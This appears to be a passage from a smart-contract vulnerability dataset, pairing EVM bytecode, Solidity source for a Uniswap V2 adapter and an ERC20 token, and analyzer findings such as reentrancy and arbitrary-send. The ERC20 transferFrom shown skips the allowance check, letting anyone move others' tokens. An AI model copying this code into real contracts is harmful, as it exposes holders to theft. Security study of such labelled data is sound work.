320a826131e8565b9050919050565b60005b8381101561322f578082015181840152602081019050613214565b8381111561323e576000848401525b50505050565b61324d8261334b565b810181811067ffffffffffffffff8211171561326c5761326b61331c565b5b80604052505050565b6000613280826131e8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132b3576132b26132be565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b613632816131aa565b811461363d57600080fd5b50565b613649816131bc565b811461365457600080fd5b50565b613660816131e8565b811461366b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122099eb83d1c15c9d578a4b7d829066e7feb794c0e43c253cd91726463b0d4e4f1a64736f6c63430008030033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,468 |
0xe1f28c0d8527eb28784ba15f6ff0a4371d7598e1
|
pragma solidity 0.6.11;
pragma experimental ABIEncoderV2;
struct FullAbsoluteTokenAmount {
AbsoluteTokenAmountMeta base;
AbsoluteTokenAmountMeta[] underlying;
}
struct AbsoluteTokenAmountMeta {
AbsoluteTokenAmount absoluteTokenAmount;
ERC20Metadata erc20metadata;
}
struct ERC20Metadata {
string name;
string symbol;
uint8 decimals;
}
struct AdapterBalance {
bytes32 protocolAdapterName;
AbsoluteTokenAmount[] absoluteTokenAmounts;
}
struct AbsoluteTokenAmount {
address token;
uint256 amount;
}
struct Component {
address token;
uint256 rate;
}
struct TransactionData {
Action[] actions;
TokenAmount[] inputs;
Fee fee;
AbsoluteTokenAmount[] requiredOutputs;
uint256 nonce;
}
struct Action {
bytes32 protocolAdapterName;
ActionType actionType;
TokenAmount[] tokenAmounts;
bytes data;
}
struct TokenAmount {
address token;
uint256 amount;
AmountType amountType;
}
struct Fee {
uint256 share;
address beneficiary;
}
enum ActionType { None, Deposit, Withdraw }
enum AmountType { None, Relative, Absolute }
abstract contract ProtocolAdapter {
/**
* @dev MUST return amount and type of the given token
* locked on the protocol by the given account.
*/
function getBalance(
address token,
address account
)
public
view
virtual
returns (uint256);
}
contract UniswapV2AssetAdapter is ProtocolAdapter {
/**
* @return Amount of Uniswap Pool Tokens held by the given account.
* @param token Address of the exchange (pair)!
* @dev Implementation of ProtocolAdapter abstract contract function.
*/
function getBalance(
address token,
address account
)
public
view
override
returns (uint256)
{
return ERC20(token).balanceOf(account);
}
}
abstract contract InteractiveAdapter is ProtocolAdapter {
uint256 internal constant DELIMITER = 1e18;
address internal constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
/**
* @dev The function must deposit assets to the protocol.
* @return MUST return assets to be sent back to the `msg.sender`.
*/
function deposit(
TokenAmount[] memory tokenAmounts,
bytes memory data
)
public
payable
virtual
returns (address[] memory);
/**
* @dev The function must withdraw assets from the protocol.
* @return MUST return assets to be sent back to the `msg.sender`.
*/
function withdraw(
TokenAmount[] memory tokenAmounts,
bytes memory data
)
public
payable
virtual
returns (address[] memory);
function getAbsoluteAmountDeposit(
TokenAmount memory tokenAmount
)
internal
view
virtual
returns (uint256)
{
address token = tokenAmount.token;
uint256 amount = tokenAmount.amount;
AmountType amountType = tokenAmount.amountType;
require(
amountType == AmountType.Relative || amountType == AmountType.Absolute,
"IA: bad amount type"
);
if (amountType == AmountType.Relative) {
require(amount <= DELIMITER, "IA: bad amount");
uint256 balance;
if (token == ETH) {
balance = address(this).balance;
} else {
balance = ERC20(token).balanceOf(address(this));
}
if (amount == DELIMITER) {
return balance;
} else {
return mul(balance, amount) / DELIMITER;
}
} else {
return amount;
}
}
function getAbsoluteAmountWithdraw(
TokenAmount memory tokenAmount
)
internal
view
virtual
returns (uint256)
{
address token = tokenAmount.token;
uint256 amount = tokenAmount.amount;
AmountType amountType = tokenAmount.amountType;
require(
amountType == AmountType.Relative || amountType == AmountType.Absolute,
"IA: bad amount type"
);
if (amountType == AmountType.Relative) {
require(amount <= DELIMITER, "IA: bad amount");
uint256 balance = getBalance(token, address(this));
if (amount == DELIMITER) {
return balance;
} else {
return mul(balance, amount) / DELIMITER;
}
} else {
return amount;
}
}
function mul(
uint256 a,
uint256 b
)
internal
pure
returns (uint256)
{
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "IA: mul overflow");
return c;
}
}
interface UniswapV2Pair {
function mint(address) external returns (uint256);
function burn(address) external returns (uint256, uint256);
function getReserves() external view returns (uint112, uint112);
function token0() external view returns (address);
function token1() external view returns (address);
}
contract UniswapV2AssetInteractiveAdapter is InteractiveAdapter, UniswapV2AssetAdapter {
using SafeERC20 for ERC20;
address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
/**
* @notice Deposits tokens to the Uniswap pool (pair).
* @param tokenAmounts Array with one element - TokenAmount struct with
* underlying tokens addresses, underlying tokens amounts to be deposited, and amount types.
* @param data ABI-encoded additional parameters:
* - pairAddress - pair address.
* @return tokensToBeWithdrawn Array with one element - UNI-token (pair) address.
* @dev Implementation of InteractiveAdapter function.
*/
function deposit(
TokenAmount[] memory tokenAmounts,
bytes memory data
)
public
payable
override
returns (address[] memory tokensToBeWithdrawn)
{
require(tokenAmounts.length == 2, "ULIA: should be 2 tokenAmounts");
address pairAddress = abi.decode(data, (address));
tokensToBeWithdrawn = new address[](1);
tokensToBeWithdrawn[0] = pairAddress;
uint256 amount0 = getAbsoluteAmountDeposit(tokenAmounts[0]);
uint256 amount1 = getAbsoluteAmountDeposit(tokenAmounts[1]);
uint256 reserve0;
uint256 reserve1;
if (tokenAmounts[0].token == UniswapV2Pair(pairAddress).token0()) {
(reserve0, reserve1) = UniswapV2Pair(pairAddress).getReserves();
} else {
(reserve1, reserve0) = UniswapV2Pair(pairAddress).getReserves();
}
uint256 amount1Optimal = amount0 * reserve1 / reserve0;
if (amount1Optimal < amount1) {
amount1 = amount1Optimal;
} else if (amount1Optimal > amount1) {
amount0 = amount1 * reserve0 / reserve1;
}
ERC20(tokenAmounts[0].token).safeTransfer(pairAddress, amount0, "ULIA[1]");
ERC20(tokenAmounts[1].token).safeTransfer(pairAddress, amount1, "ULIA[2]");
try UniswapV2Pair(pairAddress).mint(
address(this)
) returns (uint256) { // solhint-disable-line no-empty-blocks
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ULIA: deposit fail");
}
}
/**
* @notice Withdraws tokens from the Uniswap pool.
* @param tokenAmounts Array with one element - TokenAmount struct with
* UNI token address, UNI token amount to be redeemed, and amount type.
* @return tokensToBeWithdrawn Array with two elements - underlying tokens.
* @dev Implementation of InteractiveAdapter function.
*/
function withdraw(
TokenAmount[] memory tokenAmounts,
bytes memory
)
public
payable
override
returns (address[] memory tokensToBeWithdrawn)
{
require(tokenAmounts.length == 1, "ULIA: should be 1 tokenAmount");
address token = tokenAmounts[0].token;
uint256 amount = getAbsoluteAmountWithdraw(tokenAmounts[0]);
tokensToBeWithdrawn = new address[](2);
tokensToBeWithdrawn[0] = UniswapV2Pair(token).token0();
tokensToBeWithdrawn[1] = UniswapV2Pair(token).token1();
ERC20(token).safeTransfer(token, amount, "ULIA[3]");
try UniswapV2Pair(token).burn(
address(this)
) returns (uint256, uint256) { // solhint-disable-line no-empty-blocks
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ULIA: withdraw fail");
}
}
}
interface ERC20 {
function approve(address, uint256) external returns (bool);
function transfer(address, uint256) external returns (bool);
function transferFrom(address, address, uint256) external returns (bool);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address) external view returns (uint256);
function allowance(address, address) external view returns (uint256);
}
library SafeERC20 {
function safeTransfer(
ERC20 token,
address to,
uint256 value,
string memory location
)
internal
{
callOptionalReturn(
token,
abi.encodeWithSelector(
token.transfer.selector,
to,
value
),
"transfer",
location
);
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value,
string memory location
)
internal
{
callOptionalReturn(
token,
abi.encodeWithSelector(
token.transferFrom.selector,
from,
to,
value
),
"transferFrom",
location
);
}
function safeApprove(
ERC20 token,
address spender,
uint256 value,
string memory location
)
internal
{
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: bad approve call"
);
callOptionalReturn(
token,
abi.encodeWithSelector(
token.approve.selector,
spender,
value
),
"approve",
location
);
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract),
* relaxing the requirement on the return value: the return value is optional
* (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
* @param location Location of the call (for debug).
*/
function callOptionalReturn(
ERC20 token,
bytes memory data,
string memory functionName,
string memory location
)
private
{
// We need to perform a low level call here, to bypass Solidity's return data size checking
// mechanism, since we're implementing it ourselves.
// We implement two-steps call as callee is a contract is a responsibility of a caller.
// 1. The call itself is made, and success asserted
// 2. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(
success,
string(
abi.encodePacked(
"SafeERC20: ",
functionName,
" failed in ",
location
)
)
);
if (returndata.length > 0) { // Return data is optional
require(
abi.decode(returndata, (bool)),
string(
abi.encodePacked(
"SafeERC20: ",
functionName,
" returned false in ",
location
)
)
);
}
}
}
|
0x6080604052600436106100345760003560e01c806328ffb83d14610039578063387b817414610062578063d4fac45d14610075575b600080fd5b61004c61004736600461105a565b6100a2565b604051610059919061131c565b60405180910390f35b61004c61007036600461105a565b6105d4565b34801561008157600080fd5b50610095610090366004611022565b610963565b6040516100599190611548565b606082516002146100e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100df906114a3565b60405180910390fd5b6000828060200190518101906100fe9190611006565b60408051600180825281830190925291925060208083019080368337019050509150808260008151811061012e57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060006101878560008151811061017a57fe5b6020026020010151610a11565b9050600061019b8660018151811061017a57fe5b90506000808473ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b1580156101e657600080fd5b505afa1580156101fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061021e9190611006565b73ffffffffffffffffffffffffffffffffffffffff168860008151811061024157fe5b60200260200101516000015173ffffffffffffffffffffffffffffffffffffffff161415610302578473ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401604080518083038186803b1580156102ae57600080fd5b505afa1580156102c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102e6919061114c565b6dffffffffffffffffffffffffffff9182169350169050610397565b8473ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401604080518083038186803b15801561034757600080fd5b505afa15801561035b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061037f919061114c565b6dffffffffffffffffffffffffffff90811693501690505b600082828602816103a457fe5b049050838110156103b7578093506103ce565b838111156103ce5781838502816103ca57fe5b0494505b61044886866040518060400160405280600781526020017f554c49415b315d000000000000000000000000000000000000000000000000008152508c60008151811061041657fe5b60200260200101516000015173ffffffffffffffffffffffffffffffffffffffff16610c03909392919063ffffffff16565b61049086856040518060400160405280600781526020017f554c49415b325d000000000000000000000000000000000000000000000000008152508c60018151811061041657fe5b6040517f6a62784200000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff871690636a627842906104e29030906004016112d5565b602060405180830381600087803b1580156104fc57600080fd5b505af192505050801561054a575060408051601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01682019092526105479181019061117a565b60015b6105c7576105566115aa565b806105615750610595565b806040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100df9190611376565b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100df906113c7565b5050505050505092915050565b60608251600114610611576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100df9061146c565b60008360008151811061062057fe5b6020026020010151600001519050600061064d8560008151811061064057fe5b6020026020010151610cc1565b60408051600280825260608201835292935091906020830190803683370190505092508173ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b1580156106b657600080fd5b505afa1580156106ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ee9190611006565b836000815181106106fb57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508173ffffffffffffffffffffffffffffffffffffffff1663d21220a76040518163ffffffff1660e01b815260040160206040518083038186803b15801561077b57600080fd5b505afa15801561078f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b39190611006565b836001815181106107c057fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061085c82826040518060400160405280600781526020017f554c49415b335d000000000000000000000000000000000000000000000000008152508573ffffffffffffffffffffffffffffffffffffffff16610c03909392919063ffffffff16565b6040517f89afcb4400000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8316906389afcb44906108ae9030906004016112d5565b6040805180830381600087803b1580156108c757600080fd5b505af1925050508015610915575060408051601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016820190925261091291810190611192565b60015b610959576109216115aa565b8061056157506040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100df906114da565b5050505092915050565b6040517f70a0823100000000000000000000000000000000000000000000000000000000815260009073ffffffffffffffffffffffffffffffffffffffff8416906370a08231906109b89085906004016112d5565b60206040518083038186803b1580156109d057600080fd5b505afa1580156109e4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a08919061117a565b90505b92915050565b80516020820151604083015160009291906001816002811115610a3057fe5b1480610a4757506002816002811115610a4557fe5b145b610a7d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100df906113fe565b6001816002811115610a8b57fe5b1415610bf457670de0b6b3a7640000821115610ad3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100df90611435565b600073ffffffffffffffffffffffffffffffffffffffff841673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee1415610b0e575047610bb3565b6040517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8516906370a0823190610b609030906004016112d5565b60206040518083038186803b158015610b7857600080fd5b505afa158015610b8c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bb0919061117a565b90505b670de0b6b3a7640000831415610bce579350610bfe92505050565b670de0b6b3a7640000610be18285610d8f565b81610be857fe5b04945050505050610bfe565b509150610bfe9050565b919050565b610cbb8463a9059cbb60e01b8585604051602401610c229291906112f6565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518060400160405280600881526020017f7472616e7366657200000000000000000000000000000000000000000000000081525084610de3565b50505050565b80516020820151604083015160009291906001816002811115610ce057fe5b1480610cf757506002816002811115610cf557fe5b145b610d2d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100df906113fe565b6001816002811115610d3b57fe5b1415610bf457670de0b6b3a7640000821115610d83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100df90611435565b6000610bb08430610963565b600082610d9e57506000610a0b565b82820282848281610dab57fe5b0414610a08576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100df90611511565b600060608573ffffffffffffffffffffffffffffffffffffffff1685604051610e0c91906111b5565b6000604051808303816000865af19150503d8060008114610e49576040519150601f19603f3d011682016040523d82523d6000602084013e610e4e565b606091505b5091509150818484604051602001610e67929190611253565b60405160208183030381529060405290610eae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100df9190611376565b50805115610f265780806020019051810190610eca919061112c565b8484604051602001610edd9291906111d1565b60405160208183030381529060405290610f24576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100df9190611376565b505b505050505050565b600082601f830112610f3e578081fd5b813567ffffffffffffffff811115610f54578182fd5b610f8560207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f84011601611551565b9150808252836020828501011115610f9c57600080fd5b8060208401602084013760009082016020015292915050565b600060608284031215610fc6578081fd5b610fd06060611551565b90508135610fdd8161168f565b815260208281013590820152604082013560038110610ffb57600080fd5b604082015292915050565b600060208284031215611017578081fd5b8151610a088161168f565b60008060408385031215611034578081fd5b823561103f8161168f565b9150602083013561104f8161168f565b809150509250929050565b6000806040838503121561106c578182fd5b823567ffffffffffffffff80821115611083578384fd5b81850186601f820112611094578485fd5b80359250818311156110a4578485fd5b60206110b38182860201611551565b848152818101908383016060808802860185018c10156110d157898afd5b8995505b878610156110fd576110e78c83610fb5565b84526001959095019492840192908101906110d5565b50909750505086013592505080821115611115578283fd5b5061112285828601610f2e565b9150509250929050565b60006020828403121561113d578081fd5b81518015158114610a08578182fd5b6000806040838503121561115e578182fd5b8251611169816116b4565b602084015190925061104f816116b4565b60006020828403121561118b578081fd5b5051919050565b600080604083850312156111a4578182fd5b505080516020909101519092909150565b600082516111c7818460208701611578565b9190910192915050565b60007f5361666545524332303a200000000000000000000000000000000000000000008252835161120981600b850160208801611578565b8083017f2072657475726e65642066616c736520696e2000000000000000000000000000600b8201528451915061124782601e830160208801611578565b01601e01949350505050565b60007f5361666545524332303a200000000000000000000000000000000000000000008252835161128b81600b850160208801611578565b8083017f206661696c656420696e20000000000000000000000000000000000000000000600b820152845191506112c9826016830160208801611578565b01601601949350505050565b73ffffffffffffffffffffffffffffffffffffffff91909116815260200190565b73ffffffffffffffffffffffffffffffffffffffff929092168252602082015260400190565b6020808252825182820181905260009190848201906040850190845b8181101561136a57835173ffffffffffffffffffffffffffffffffffffffff1683529284019291840191600101611338565b50909695505050505050565b6000602082528251806020840152611395816040850160208701611578565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169190910160400192915050565b60208082526012908201527f554c49413a206465706f736974206661696c0000000000000000000000000000604082015260600190565b60208082526013908201527f49413a2062616420616d6f756e74207479706500000000000000000000000000604082015260600190565b6020808252600e908201527f49413a2062616420616d6f756e74000000000000000000000000000000000000604082015260600190565b6020808252601d908201527f554c49413a2073686f756c64206265203120746f6b656e416d6f756e74000000604082015260600190565b6020808252601e908201527f554c49413a2073686f756c64206265203220746f6b656e416d6f756e74730000604082015260600190565b60208082526013908201527f554c49413a207769746864726177206661696c00000000000000000000000000604082015260600190565b60208082526010908201527f49413a206d756c206f766572666c6f7700000000000000000000000000000000604082015260600190565b90815260200190565b60405181810167ffffffffffffffff8111828210171561157057600080fd5b604052919050565b60005b8381101561159357818101518382015260200161157b565b83811115610cbb5750506000910152565b60e01c90565b600060443d10156115ba5761168c565b600481823e6308c379a06115ce82516115a4565b146115d85761168c565b6040517ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc3d016004823e80513d67ffffffffffffffff8160248401118184111715611626575050505061168c565b82840191508151925080831115611640575050505061168c565b503d830160208383010111156116585750505061168c565b601f919091017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01681016020016040529150505b90565b73ffffffffffffffffffffffffffffffffffffffff811681146116b157600080fd5b50565b6dffffffffffffffffffffffffffff811681146116b157600080fdfea26469706673582212204195445f3da09b7ef54c2556d8b3ee4adfc108a31376eb2a9f10429108b2d41164736f6c634300060b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,469 |
0x77aBAfDB5DF7fE45F607fC98300B835DFC5A71d9
|
/**
*Submitted for verification at Etherscan.io on 2021-04-21
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overloaded;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
